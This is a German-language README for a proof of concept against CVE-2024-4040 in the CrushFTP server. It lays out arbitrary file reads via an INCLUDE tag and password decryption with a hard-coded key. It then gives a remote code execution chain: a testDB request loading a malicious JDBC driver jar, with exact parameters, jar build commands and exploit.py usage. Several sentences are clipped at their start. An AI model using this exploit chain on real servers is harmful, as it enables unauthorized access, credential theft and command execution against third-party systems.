
CVE-2024-4040 PoC
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py und decrypt.java, um das Passwort zu erhalten und zu entschlüsseln. Der Schlüssel ist fest codiert, daher kann es entschlüsselt werden und beliebige Dateien gelesen werden.crushadmin nicht existiert, versuchen Sie, CrushFTP.log zu holen. Dort sind Kontoinformationen enthalten.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML abzurufen.crushadmin verwendet.decrypt.java entschlüsselt.--shell dient dazu, die Ergebnisse nach Remote-Code-Ausführung (RCE) bequem anzuzeigen. Nach dem Hochladen der JAR-Datei über die unten beschriebene Methode geben Sie --jar-path und --headers an, um das Ergebnis des ausgeführten Befehls zu sehen.
--headers muss das eingeloggte Cookie angegeben werden, z. B. --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path ist /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Falls die Datei an einem anderen Ort liegt, muss der Pfad angegeben werden. Relative Pfade funktionieren theoretisch, absolute Pfade werden jedoch empfohlen.
User Manager, klicken Sie auf den Benutzer auf der linken Seite, ziehen Sie den gewünschten Ordner per Drag & Drop zu User's Stuff und passen Sie schließlich die Berechtigungen an. Der Upload muss aktiviert sein.


testDB gibt, mit der Sie eine JAR-Datei und ein Treiberobjekt angeben können. Dank der Upload-Möglichkeit können diese kombiniert werden, um RCE zu erreichen.command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user, um ihn auszuführen.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *exit ein.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"